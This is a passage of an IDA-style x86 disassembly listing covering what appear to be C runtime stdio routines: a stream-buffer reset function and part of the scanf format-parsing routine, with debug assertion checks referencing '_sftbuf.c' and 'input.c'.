mov ecx, [ebp+var_4]
mov edx, [ecx+8]
mov [eax], edx
mov eax, [ebp+var_4]
mov dword ptr [eax+18h], 2
mov ecx, [ebp+var_4]
mov dword ptr [ecx+4], 2
jmp short loc_424BD9
; ---------------------------------------------------------------------------
loc_424BAA: ; CODE XREF: sub_424AA0+AEj
; sub_424AA0+DBj
mov edx, [ebp+var_4]
mov eax, [ebp+var_8]
mov ecx, dword_4EF964[eax*4]
mov [edx+8], ecx
mov edx, [ebp+var_4]
mov eax, [ebp+var_4]
mov ecx, [eax+8]
mov [edx], ecx
mov edx, [ebp+var_4]
mov dword ptr [edx+18h], 1000h
mov eax, [ebp+var_4]
mov dword ptr [eax+4], 1000h
loc_424BD9: ; CODE XREF: sub_424AA0+108j
mov ecx, [ebp+var_4]
mov edx, [ecx+0Ch]
or edx, 1102h
mov eax, [ebp+var_4]
mov [eax+0Ch], edx
mov eax, 1
loc_424BF0: ; CODE XREF: sub_424AA0+4Ej
; sub_424AA0+79j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_424AA0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424C00 proc near ; CODE XREF: sub_41C1C0+A3p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
loc_424C07: ; CODE XREF: sub_424C00+38j
cmp [ebp+arg_0], 0
jz short loc_424C34
cmp [ebp+arg_0], 1
jz short loc_424C34
push offset aFlag0Flag1 ; "flag == 0 || flag == 1"
push 0
push 0A1h
push offset a_sftbuf_c ; "_sftbuf.c"
push 2
call sub_41EED0
add esp, 14h
cmp eax, 1
jnz short loc_424C34
int 3 ; Trap to Debugger
loc_424C34: ; CODE XREF: sub_424C00+Bj
; sub_424C00+11j ...
xor eax, eax
test eax, eax
jnz short loc_424C07
mov ecx, [ebp+arg_4]
mov [ebp+var_4], ecx
cmp [ebp+arg_0], 0
jz short loc_424C8D
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
and eax, 1000h
test eax, eax
jz short loc_424C8D
mov ecx, [ebp+var_4]
push ecx
call sub_41F7E0
add esp, 4
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
and ah, 0EEh
mov ecx, [ebp+var_4]
mov [ecx+0Ch], eax
mov edx, [ebp+var_4]
mov dword ptr [edx+18h], 0
mov eax, [ebp+var_4]
mov dword ptr [eax], 0
mov ecx, [ebp+var_4]
mov dword ptr [ecx+8], 0
loc_424C8D: ; CODE XREF: sub_424C00+44j
; sub_424C00+53j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_424C00 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424CA0 proc near ; CODE XREF: sub_41CC10+A2p
var_224 = dword ptr -224h
var_220 = dword ptr -220h
var_21C = dword ptr -21Ch
var_218 = dword ptr -218h
var_214 = dword ptr -214h
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_208 = dword ptr -208h
var_204 = dword ptr -204h
var_200 = dword ptr -200h
var_1FC = dword ptr -1FCh
var_1F8 = dword ptr -1F8h
var_1F4 = dword ptr -1F4h
var_1F0 = byte ptr -1F0h
var_1EF = byte ptr -1EFh
var_1EC = dword ptr -1ECh
var_1E8 = dword ptr -1E8h
var_1E4 = dword ptr -1E4h
var_1E0 = dword ptr -1E0h
var_1DC = dword ptr -1DCh
var_1D8 = dword ptr -1D8h
var_1D4 = dword ptr -1D4h
var_1D0 = byte ptr -1D0h
var_70 = byte ptr -70h
var_6C = dword ptr -6Ch
var_68 = byte ptr -68h
var_64 = byte ptr -64h
var_60 = byte ptr -60h
var_55 = byte ptr -55h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = word ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 224h
push ebx
push esi
push edi
loc_424CAC: ; CODE XREF: sub_424CA0+37j
cmp [ebp+arg_4], 0
jnz short loc_424CD3
push offset aFormatNull ; "format != NULL"
push 0
push 109h
push offset aInput_c ; "input.c"
push 2
call sub_41EED0
add esp, 14h
cmp eax, 1
jnz short loc_424CD3
int 3 ; Trap to Debugger
loc_424CD3: ; CODE XREF: sub_424CA0+10j
; sub_424CA0+30j
xor eax, eax
test eax, eax
jnz short loc_424CAC
loc_424CD9: ; CODE XREF: sub_424CA0+64j
cmp [ebp+arg_0], 0
jnz short loc_424D00
push offset dword_437504
push 0
push 10Ch
push offset aInput_c ; "input.c"
push 2
call sub_41EED0
add esp, 14h
cmp eax, 1
jnz short loc_424D00
int 3 ; Trap to Debugger
loc_424D00: ; CODE XREF: sub_424CA0+3Dj
; sub_424CA0+5Dj
xor ecx, ecx
test ecx, ecx
jnz short loc_424CD9
mov [ebp+var_28], 0
movsx edx, [ebp+var_28]
mov [ebp+var_20], edx
mov eax, [ebp+var_20]
mov [ebp+var_34], eax
loc_424D17: ; CODE XREF: sub_424CA0:loc_425F85j
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
test edx, edx
jz loc_425F8A
cmp dword_4516A8, 1
jle short loc_424D49
push 8
mov eax, [ebp+arg_4]
xor ecx, ecx
mov cl, [eax]
push ecx
call sub_421E50
add esp, 8
mov [ebp+var_1F8], eax
jmp short loc_424D65
; ---------------------------------------------------------------------------
loc_424D49: ; CODE XREF: sub_424CA0+8Dj
mov edx, [ebp+arg_4]
xor eax, eax
mov al, [edx]
mov ecx, off_45149C
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 8
mov [ebp+var_1F8], edx
loc_424D65: ; CODE XREF: sub_424CA0+A7j
cmp [ebp+var_1F8], 0
jz short loc_424DB3
mov eax, [ebp+var_20]
sub eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+arg_0]
push edx
lea eax, [ebp+var_20]
push eax
call sub_426160
add esp, 8
push eax
call sub_426140
add esp, 8
loc_424D94: ; CODE XREF: sub_424CA0+111j
mov ecx, [ebp+arg_4]
add ecx, 1
mov [ebp+arg_4], ecx
mov edx, [ebp+arg_4]
xor eax, eax
mov al, [edx]
push eax
call sub_41E200
add esp, 4
test eax, eax
jz short loc_424DB3
jmp short loc_424D94
; ---------------------------------------------------------------------------
loc_424DB3: ; CODE XREF: sub_424CA0+CCj
; sub_424CA0+10Fj
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
cmp edx, 25h
jnz loc_425E6E
mov [ebp+var_40], 0
mov byte ptr [ebp+var_8], 0
mov [ebp+var_6C], 0
mov eax, [ebp+var_6C]
mov [ebp+var_1E8], eax
mov ecx, [ebp+var_1E8]
mov [ebp+var_1C], ecx
mov [ebp+var_10], 0
mov dl, [ebp+var_10]
mov [ebp+var_68], dl
mov al, [ebp+var_68]
mov [ebp+var_70], al
mov cl, [ebp+var_70]
mov [ebp+var_18], cl
mov dl, [ebp+var_18]
mov [ebp+var_64], dl
mov [ebp+var_14], 0
mov [ebp+var_38], 1
mov [ebp+var_1DC], 0
loc_424E15: ; CODE XREF: sub_424CA0:loc_424F6Dj
movsx eax, [ebp+var_18]
test eax, eax
jnz loc_424F72
mov ecx, [ebp+arg_4]
add ecx, 1
mov [ebp+arg_4], ecx
mov edx, [ebp+arg_4]
xor eax, eax
mov al, [edx]
mov [ebp+var_C], eax
cmp dword_4516A8, 1
jle short loc_424E59
push 4
mov ecx, [ebp+var_C]
and ecx, 0FFh
push ecx
call sub_421E50
add esp, 8
mov [ebp+var_1FC], eax
jmp short loc_424E76
; ---------------------------------------------------------------------------
loc_424E59: ; CODE XREF: sub_424CA0+19Bj
mov edx, [ebp+var_C]
and edx, 0FFh
mov eax, off_45149C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 4
mov [ebp+var_1FC], ecx
loc_424E76: ; CODE XREF: sub_424CA0+1B7j
cmp [ebp+var_1FC], 0
jz short loc_424EA6
mov edx, [ebp+var_1E8]
add edx, 1
mov [ebp+var_1E8], edx
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_1C]
lea edx, [ecx+eax*4]
mov eax, [ebp+var_C]
lea ecx, [eax+edx*2-30h]
mov [ebp+var_1C], ecx
jmp loc_424F6D
; ---------------------------------------------------------------------------
loc_424EA6: ; CODE XREF: sub_424CA0+1DDj
mov edx, [ebp+var_C]
mov [ebp+var_200], edx
mov eax, [ebp+var_200]
sub eax, 2Ah
mov [ebp+var_200], eax
cmp [ebp+var_200], 4Dh
ja loc_424F65
mov edx, [ebp+var_200]
xor ecx, ecx
mov cl, byte_425FE8[edx]
jmp off_425FC8[ecx*4]
loc_424EE0: ; DATA XREF: .nsp0:00425FCCo
jmp loc_424F6D
; ---------------------------------------------------------------------------
loc_424EE5: ; CODE XREF: sub_424CA0+239j
; DATA XREF: .nsp0:00425FD8o
mov al, [ebp+var_38]
sub al, 1
mov [ebp+var_38], al
mov cl, [ebp+var_14]
sub cl, 1
mov [ebp+var_14], cl
jmp short loc_424F6D
; ---------------------------------------------------------------------------
loc_424EF8: ; CODE XREF: sub_424CA0+239j
; DATA XREF: .nsp0:00425FD0o
mov edx, [ebp+arg_4]
xor eax, eax
mov al, [edx+1]
cmp eax, 36h
jnz short loc_424F3A
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx+2]
cmp edx, 34h
jnz short loc_424F3A
mov eax, [ebp+arg_4]
add eax, 2
mov [ebp+arg_4], eax
mov ecx, [ebp+var_1DC]
add ecx, 1
mov [ebp+var_1DC], ecx
mov [ebp+var_30], 0
mov [ebp+var_2C], 0
jmp short loc_424F6D
; ---------------------------------------------------------------------------
loc_424F3A: ; CODE XREF: sub_424CA0+263j
; sub_424CA0+270j
jmp short loc_424F65
; ---------------------------------------------------------------------------
loc_424F3C: ; CODE XREF: sub_424CA0+239j
; DATA XREF: .nsp0:00425FD4o
mov dl, [ebp+var_38]
add dl, 1
mov [ebp+var_38], dl
jmp short loc_424F6D
; ---------------------------------------------------------------------------
loc_424F47: ; CODE XREF: sub_424CA0+239j
; DATA XREF: .nsp0:00425FDCo
mov al, [ebp+var_38]
add al, 1
mov [ebp+var_38], al
loc_424F4F: ; CODE XREF: sub_424CA0+239j
; DATA XREF: .nsp0:00425FE0o
mov cl, [ebp+var_14]
add cl, 1
mov [ebp+var_14], cl
jmp short loc_424F6D
; ---------------------------------------------------------------------------
loc_424F5A: ; CODE XREF: sub_424CA0+239j
; DATA XREF: .nsp0:off_425FC8o
mov dl, [ebp+var_70]
add dl, 1
mov [ebp+var_70], dl
jmp short loc_424F6D
; ---------------------------------------------------------------------------
loc_424F65: ; CODE XREF: sub_424CA0+225j
; sub_424CA0+239j ...
mov al, [ebp+var_18]
add al, 1
mov [ebp+var_18], al
loc_424F6D: ; CODE XREF: sub_424CA0+201j
; sub_424CA0:loc_424EE0j ...
jmp loc_424E15
; ---------------------------------------------------------------------------
loc_424F72: ; CODE XREF: sub_424CA0+17Bj
movsx ecx, [ebp+var_70]
test ecx, ecx
jnz short loc_424F95
mov edx, [ebp+arg_8]
mov [ebp+var_1D4], edx
mov eax, [ebp+arg_8]
add eax, 4
mov [ebp+arg_8], eax
mov ecx, [ebp+arg_8]
mov edx, [ecx-4]
mov [ebp+var_3C], edx
loc_424F95: ; CODE XREF: sub_424CA0+2D8j
mov [ebp+var_18], 0
movsx eax, [ebp+var_14]
test eax, eax
jnz short loc_424FCC
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
cmp edx, 53h
jz short loc_424FB9
mov eax, [ebp+arg_4]
xor ecx, ecx
mov cl, [eax]
cmp ecx, 43h
jnz short loc_424FC4
loc_424FB9: ; CODE XREF: sub_424CA0+30Bj
mov dl, [ebp+var_14]
add dl, 1
mov [ebp+var_14], dl
jmp short loc_424FCC
; ---------------------------------------------------------------------------
loc_424FC4: ; CODE XREF: sub_424CA0+317j
mov al, [ebp+var_14]
sub al, 1
mov [ebp+var_14], al
loc_424FCC: ; CODE XREF: sub_424CA0+2FFj
; sub_424CA0+322j
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
or edx, 20h
mov [ebp+var_C], edx
cmp [ebp+var_C], 6Eh
jz short loc_42501E
cmp [ebp+var_C], 63h
jz short loc_425003
cmp [ebp+var_C], 7Bh
jz short loc_425003
mov eax, [ebp+arg_0]
push eax
lea ecx, [ebp+var_20]
push ecx
call sub_426160
add esp, 8
mov [ebp+var_1D8], eax
jmp short loc_42501E
; ---------------------------------------------------------------------------
loc_425003: ; CODE XREF: sub_424CA0+343j
; sub_424CA0+349j
mov edx, [ebp+var_20]
add edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+arg_0]
push eax
call sub_4260E0
add esp, 4
mov [ebp+var_1D8], eax
loc_42501E: ; CODE XREF: sub_424CA0+33Dj
; sub_424CA0+361j
cmp [ebp+var_1E8], 0
jz short loc_425031
cmp [ebp+var_1C], 0
jz loc_425E3F
loc_425031: ; CODE XREF: sub_424CA0+385j
mov ecx, [ebp+var_C]
mov [ebp+var_204], ecx
mov edx, [ebp+var_204]
sub edx, 63h
mov [ebp+var_204], edx
cmp [ebp+var_204], 18h
ja loc_425DEA
mov ecx, [ebp+var_204]
xor eax, eax
mov al, byte_42605E[ecx]
jmp off_426036[eax*4]
loc_42506B: ; DATA XREF: .nsp0:off_426036o
cmp [ebp+var_1E8], 0
jnz short loc_42508C
mov edx, [ebp+var_1E8]
add edx, 1
mov [ebp+var_1E8], edx
mov eax, [ebp+var_1C]
add eax, 1
mov [ebp+var_1C], eax
loc_42508C: ; CODE XREF: sub_424CA0+3D2j
movsx ecx, [ebp+var_14]
test ecx, ecx
jle short loc_42509D
mov dl, [ebp+var_64]
add dl, 1
mov [ebp+var_64], dl
loc_42509D: ; CODE XREF: sub_424CA0+3F2j
mov [ebp+var_1E0], offset dword_451928
mov al, [ebp+var_10]
sub al, 1
mov [ebp+var_10], al
jmp short loc_425120
; ---------------------------------------------------------------------------
loc_4250B1: ; CODE XREF: sub_424CA0+3C4j
; DATA XREF: .nsp0:0042604Eo
movsx ecx, [ebp+var_14]
test ecx, ecx
jle short loc_4250C2
mov dl, [ebp+var_64]
add dl, 1
mov [ebp+var_64], dl
loc_4250C2: ; CODE XREF: sub_424CA0+417j
mov [ebp+var_1E0], offset dword_451920
mov al, [ebp+var_10]
sub al, 1
mov [ebp+var_10], al
jmp short loc_425120
; ---------------------------------------------------------------------------
loc_4250D6: ; CODE XREF: sub_424CA0+3C4j
; DATA XREF: .nsp0:00426056o
movsx ecx, [ebp+var_14]
test ecx, ecx
jle short loc_4250E7
mov dl, [ebp+var_64]
add dl, 1
mov [ebp+var_64], dl
loc_4250E7: ; CODE XREF: sub_424CA0+43Cj
mov eax, [ebp+arg_4]
add eax, 1
mov [ebp+arg_4], eax
mov ecx, [ebp+arg_4]
mov [ebp+var_1E0], ecx
mov edx, [ebp+var_1E0]
xor eax, eax
mov al, [edx]
cmp eax, 5Eh
jnz short loc_425120
mov ecx, [ebp+var_1E0]
add ecx, 1
mov [ebp+var_1E0], ecx
mov dl, [ebp+var_10]
sub dl, 1
mov [ebp+var_10], dl
loc_425120: ; CODE XREF: sub_424CA0+40Fj
; sub_424CA0+434j ...
push 20h
push 0
lea eax, [ebp+var_60]
push eax
call sub_41B190
add esp, 0Ch
cmp [ebp+var_C], 7Bh
jnz short loc_42515C
mov ecx, [ebp+var_1E0]
xor edx, edx
mov dl, [ecx]
cmp edx, 5Dh
jnz short loc_42515C
mov byte ptr [ebp+var_8], 5Dh
mov eax, [ebp+var_1E0]
add eax, 1
mov [ebp+var_1E0], eax
mov [ebp+var_55], 20h
loc_42515C: ; CODE XREF: sub_424CA0+494j
; sub_424CA0+4A3j ...
mov ecx, [ebp+var_1E0]
xor edx, edx
mov dl, [ecx]
cmp edx, 5Dh
jz loc_4252C7
mov eax, [ebp+var_1E0]
mov cl, [eax]
mov byte ptr [ebp+var_1EC], cl
mov edx, [ebp+var_1E0]
add edx, 1
mov [ebp+var_1E0], edx
mov eax, [ebp+var_1EC]
and eax, 0FFh
cmp eax, 2Dh
jnz short loc_4251B8
mov ecx, [ebp+var_8]
and ecx, 0FFh
test ecx, ecx
jz short loc_4251B8
mov edx, [ebp+var_1E0]
xor eax, eax
mov al, [edx]
cmp eax, 5Dh
jnz short loc_4251FE
loc_4251B8: ; CODE XREF: sub_424CA0+4FAj
; sub_424CA0+507j
mov cl, byte ptr [ebp+var_1EC]
mov byte ptr [ebp+var_8], cl
mov edx, [ebp+var_8]
and edx, 0FFh
sar edx, 3
mov ecx, [ebp+var_1EC]
and ecx, 0FFh
and ecx, 7
mov eax, 1
shl eax, cl
mov cl, [ebp+edx+var_60]
or cl, al
mov edx, [ebp+var_8]
and edx, 0FFh
sar edx, 3
mov [ebp+edx+var_60], cl
jmp loc_4252C2
; ---------------------------------------------------------------------------
loc_4251FE: ; CODE XREF: sub_424CA0+516j
mov eax, [ebp+var_1E0]
mov cl, [eax]
mov byte ptr [ebp+var_1EC], cl
mov edx, [ebp+var_1E0]
add edx, 1
mov [ebp+var_1E0], edx
mov eax, [ebp+var_8]
and eax, 0FFh
mov ecx, [ebp+var_1EC]
and ecx, 0FFh
cmp eax, ecx
jge short loc_42523E
mov dl, byte ptr [ebp+var_1EC]
mov byte ptr [ebp+var_24], dl
jmp short loc_42524D
; ---------------------------------------------------------------------------
loc_42523E: ; CODE XREF: sub_424CA0+591j
mov al, byte ptr [ebp+var_8]
loc_425241: ; DATA XREF: .nsp0:off_44F398o
mov byte ptr [ebp+var_24], al
loc_425244: ; DATA XREF: .nsp0:00451FB4o
mov cl, byte ptr [ebp+var_1EC]
mov byte ptr [ebp+var_8], cl
loc_42524D: ; CODE XREF: sub_424CA0+59Cj
mov dl, byte ptr [ebp+var_8]
mov byte ptr [ebp+var_1EC], dl
jmp short loc_425266
; ---------------------------------------------------------------------------
loc_425258: ; CODE XREF: sub_424CA0+61Cj
mov al, byte ptr [ebp+var_1EC]
add al, 1
mov byte ptr [ebp+var_1EC], al
loc_425266: ; CODE XREF: sub_424CA0+5B6j
mov ecx, [ebp+var_1EC]
and ecx, 0FFh
mov edx, [ebp+var_24]
and edx, 0FFh
cmp ecx, edx
jg short loc_4252BE
mov eax, [ebp+var_1EC]
and eax, 0FFh
sar eax, 3
mov ecx, [ebp+var_1EC]
and ecx, 0FFh
and ecx, 7
mov edx, 1
shl edx, cl
mov al, [ebp+eax+var_60]
or al, dl
mov ecx, [ebp+var_1EC]
and ecx, 0FFh
sar ecx, 3
mov [ebp+ecx+var_60], al
jmp short loc_425258
; ---------------------------------------------------------------------------
loc_4252BE: ; CODE XREF: sub_424CA0+5DDj
mov byte ptr [ebp+var_8], 0
loc_4252C2: ; CODE XREF: sub_424CA0+559j
jmp loc_42515C
; ---------------------------------------------------------------------------
loc_4252C7: ; CODE XREF: sub_424CA0+4C9j
mov edx, [ebp+var_1E0]
xor eax, eax
mov al, [edx]
test eax, eax
jnz short loc_4252DA
jmp loc_425F8A
; ---------------------------------------------------------------------------
loc_4252DA: ; CODE XREF: sub_424CA0+633j
cmp [ebp+var_C], 7Bh
jnz short loc_4252E9
mov ecx, [ebp+var_1E0]
mov [ebp+arg_4], ecx
loc_4252E9: ; CODE XREF: sub_424CA0+63Ej
mov edx, [ebp+var_3C]
mov [ebp+var_1E4], edx
mov eax, [ebp+var_20]
sub eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_1D8]
push edx
call sub_426140
add esp, 8
loc_42530E: ; CODE XREF: sub_424CA0:loc_425450j
cmp [ebp+var_1E8], 0
jz short loc_42532B
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_1C]
sub ecx, 1
mov [ebp+var_1C], ecx
test eax, eax
jz loc_425455
loc_42532B: ; CODE XREF: sub_424CA0+675j
mov edx, [ebp+var_20]
add edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+arg_0]
push eax
call sub_4260E0
add esp, 4
mov [ebp+var_1D8], eax
cmp [ebp+var_1D8], 0FFFFFFFFh
jz loc_425432
mov ecx, [ebp+var_1D8]
sar ecx, 3
movsx edx, [ebp+ecx+var_60]
movsx eax, [ebp+var_10]
xor edx, eax
mov ecx, [ebp+var_1D8]
and ecx, 7
mov eax, 1
shl eax, cl
and edx, eax
test edx, edx
jz loc_425432
movsx ecx, [ebp+var_70]
test ecx, ecx
jnz loc_425421
movsx edx, [ebp+var_64]
test edx, edx
jz short loc_42540B
mov al, byte ptr [ebp+var_1D8]
mov [ebp+var_1F0], al
mov ecx, [ebp+var_1D8]
and ecx, 0FFh
mov edx, off_45149C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 8000h
test eax, eax
jz short loc_4253DD
mov ecx, [ebp+var_20]
add ecx, 1
mov [ebp+var_20], ecx
mov edx, [ebp+arg_0]
push edx
call sub_4260E0
add esp, 4
mov [ebp+var_1EF], al
loc_4253DD: ; CODE XREF: sub_424CA0+720j
mov eax, dword_4516A8
push eax
lea ecx, [ebp+var_1F0]
push ecx
lea edx, [ebp+var_4]
push edx
call sub_42CA90
add esp, 0Ch
mov eax, [ebp+var_3C]
mov cx, [ebp+var_4]
mov [eax], cx
mov edx, [ebp+var_3C]
add edx, 2
mov [ebp+var_3C], edx
jmp short loc_42541F
; ---------------------------------------------------------------------------
loc_42540B: ; CODE XREF: sub_424CA0+6F3j
mov eax, [ebp+var_3C]
mov cl, byte ptr [ebp+var_1D8]
mov [eax], cl
mov edx, [ebp+var_3C]
add edx, 1
mov [ebp+var_3C], edx
loc_42541F: ; CODE XREF: sub_424CA0+769j
jmp short loc_425430
; ---------------------------------------------------------------------------
loc_425421: ; CODE XREF: sub_424CA0+6E7j
mov eax, [ebp+var_1E4]
add eax, 1
mov [ebp+var_1E4], eax
loc_425430: ; CODE XREF: sub_424CA0:loc_42541Fj
jmp short loc_425450
; ---------------------------------------------------------------------------
loc_425432: ; CODE XREF: sub_424CA0+6ADj
; sub_424CA0+6DBj
mov ecx, [ebp+var_20]
sub ecx, 1
mov [ebp+var_20], ecx
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+var_1D8]
push eax
call sub_426140
add esp, 8
jmp short loc_425455
; ---------------------------------------------------------------------------
loc_425450: ; CODE XREF: sub_424CA0:loc_425430j
jmp loc_42530E
; ---------------------------------------------------------------------------
loc_425455: ; CODE XREF: sub_424CA0+685j
; sub_424CA0+7AEj
mov ecx, [ebp+var_1E4]
cmp ecx, [ebp+var_3C]
jz short loc_425491
movsx edx, [ebp+var_70]
test edx, edx
jnz short loc_42548F
mov eax, [ebp+var_34]
add eax, 1
mov [ebp+var_34], eax
cmp [ebp+var_C], 63h
jz short loc_42548F
movsx ecx, [ebp+var_64]
test ecx, ecx
jz short loc_425489
mov edx, [ebp+var_3C]
mov word ptr [edx], 0
jmp short loc_42548F
; ---------------------------------------------------------------------------
loc_425489: ; CODE XREF: sub_424CA0+7DDj
mov eax, [ebp+var_3C]
mov byte ptr [eax], 0
loc_42548F: ; CODE XREF: sub_424CA0+7C6j
; sub_424CA0+7D5j ...
jmp short loc_425496
; ---------------------------------------------------------------------------
loc_425491: ; CODE XREF: sub_424CA0+7BEj
jmp loc_425F8A
; ---------------------------------------------------------------------------
loc_425496: ; CODE XREF: sub_424CA0:loc_42548Fj
jmp loc_425E34
; ---------------------------------------------------------------------------
loc_42549B: ; CODE XREF: sub_424CA0+3C4j
; DATA XREF: .nsp0:00426042o
mov [ebp+var_C], 64h
loc_4254A2: ; CODE XREF: sub_424CA0+3C4j
; DATA XREF: .nsp0:00426052o
cmp [ebp+var_1D8], 2Dh
jnz short loc_4254B6
mov cl, [ebp+var_68]
add cl, 1
mov [ebp+var_68], cl
jmp short loc_4254BF
; ---------------------------------------------------------------------------
loc_4254B6: ; CODE XREF: sub_424CA0+809j
cmp [ebp+var_1D8], 2Bh
jnz short loc_4254FC
loc_4254BF: ; CODE XREF: sub_424CA0+814j
mov edx, [ebp+var_1C]
sub edx, 1
mov [ebp+var_1C], edx
cmp [ebp+var_1C], 0
jnz short loc_4254E1
cmp [ebp+var_1E8], 0
jz short loc_4254E1
mov al, [ebp+var_18]
add al, 1
mov [ebp+var_18], al
jmp short loc_4254FC
; ---------------------------------------------------------------------------
loc_4254E1: ; CODE XREF: sub_424CA0+82Cj
; sub_424CA0+835j
mov ecx, [ebp+var_20]
add ecx, 1
mov [ebp+var_20], ecx
mov edx, [ebp+arg_0]
push edx
call sub_4260E0
add esp, 4
mov [ebp+var_1D8], eax
loc_4254FC: ; CODE XREF: sub_424CA0+81Dj
; sub_424CA0+83Fj
cmp [ebp+var_1D8], 30h
jnz loc_42559E
mov eax, [ebp+var_20]
add eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
push ecx
call sub_4260E0
add esp, 4
mov [ebp+var_1D8], eax
movsx edx, byte ptr [ebp+var_1D8]
cmp edx, 78h
jz short loc_42553C
movsx eax, byte ptr [ebp+var_1D8]
cmp eax, 58h
jnz short loc_425560
loc_42553C: ; CODE XREF: sub_424CA0+88Ej
mov ecx, [ebp+var_20]
add ecx, 1
mov [ebp+var_20], ecx
mov edx, [ebp+arg_0]
push edx
call sub_4260E0
add esp, 4
mov [ebp+var_1D8], eax
mov [ebp+var_C], 78h
jmp short loc_42559E
; ---------------------------------------------------------------------------
loc_425560: ; CODE XREF: sub_424CA0+89Aj
mov eax, [ebp+var_6C]
add eax, 1
mov [ebp+var_6C], eax
cmp [ebp+var_C], 78h
jz short loc_425578
mov [ebp+var_C], 6Fh
jmp short loc_42559E
; ---------------------------------------------------------------------------
loc_425578: ; CODE XREF: sub_424CA0+8CDj
mov ecx, [ebp+var_20]
sub ecx, 1
mov [ebp+var_20], ecx
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+var_1D8]
push eax
call sub_426140
add esp, 8
mov [ebp+var_1D8], 30h
loc_42559E: ; CODE XREF: sub_424CA0+863j
; sub_424CA0+8BEj ...
jmp short loc_4255FE
; ---------------------------------------------------------------------------
loc_4255A0: ; CODE XREF: sub_424CA0+3C4j
; DATA XREF: .nsp0:0042604Ao
mov [ebp+var_38], 1
loc_4255A4: ; CODE XREF: sub_424CA0+3C4j
; DATA XREF: .nsp0:0042603Ao
cmp [ebp+var_1D8], 2Dh
jnz short loc_4255B8
mov cl, [ebp+var_68]
add cl, 1
mov [ebp+var_68], cl
jmp short loc_4255C1
; ---------------------------------------------------------------------------
loc_4255B8: ; CODE XREF: sub_424CA0+90Bj
cmp [ebp+var_1D8], 2Bh
jnz short loc_4255FE
loc_4255C1: ; CODE XREF: sub_424CA0+916j
mov edx, [ebp+var_1C]
sub edx, 1
mov [ebp+var_1C], edx
cmp [ebp+var_1C], 0
jnz short loc_4255E3
cmp [ebp+var_1E8], 0
jz short loc_4255E3
mov al, [ebp+var_18]
add al, 1
mov [ebp+var_18], al
jmp short loc_4255FE
; ---------------------------------------------------------------------------
loc_4255E3: ; CODE XREF: sub_424CA0+92Ej
; sub_424CA0+937j
mov ecx, [ebp+var_20]
add ecx, 1
mov [ebp+var_20], ecx
mov edx, [ebp+arg_0]
push edx
call sub_4260E0
add esp, 4
mov [ebp+var_1D8], eax
loc_4255FE: ; CODE XREF: sub_424CA0:loc_42559Ej
; sub_424CA0+91Fj ...
cmp [ebp+var_1DC], 0
jz loc_4257F9
loc_42560B: ; CODE XREF: sub_424CA0:loc_4257D4j
movsx eax, [ebp+var_18]
test eax, eax
jnz loc_4257D9
cmp [ebp+var_C], 78h
jnz loc_4256A6
cmp dword_4516A8, 1
jle short loc_425646
push 80h
mov ecx, [ebp+var_1D8]
push ecx
call sub_421E50
add esp, 8
mov [ebp+var_208], eax
jmp short loc_425663
; ---------------------------------------------------------------------------
loc_425646: ; CODE XREF: sub_424CA0+988j
mov edx, [ebp+var_1D8]
mov eax, off_45149C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 80h
mov [ebp+var_208], ecx
loc_425663: ; CODE XREF: sub_424CA0+9A4j
cmp [ebp+var_208], 0
jz short loc_425699
mov ecx, 4
mov eax, [ebp+var_30]
mov edx, [ebp+var_2C]
call sub_42CC70
mov [ebp+var_30], eax
mov [ebp+var_2C], edx
mov edx, [ebp+var_1D8]
push edx
call sub_426080
add esp, 4
mov [ebp+var_1D8], eax
jmp short loc_4256A1
; ---------------------------------------------------------------------------
loc_425699: ; CODE XREF: sub_424CA0+9CAj
mov al, [ebp+var_18]
add al, 1
mov [ebp+var_18], al
loc_4256A1: ; CODE XREF: sub_424CA0+9F7j
jmp loc_42574D
; ---------------------------------------------------------------------------
loc_4256A6: ; CODE XREF: sub_424CA0+97Bj
cmp dword_4516A8, 1
jle short loc_4256C8
push 4
mov ecx, [ebp+var_1D8]
push ecx
call sub_421E50
add esp, 8
mov [ebp+var_20C], eax
jmp short loc_4256E2
; ---------------------------------------------------------------------------
loc_4256C8: ; CODE XREF: sub_424CA0+A0Dj
mov edx, [ebp+var_1D8]
mov eax, off_45149C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 4
mov [ebp+var_20C], ecx
loc_4256E2: ; CODE XREF: sub_424CA0+A26j
cmp [ebp+var_20C], 0
jz short loc_425745
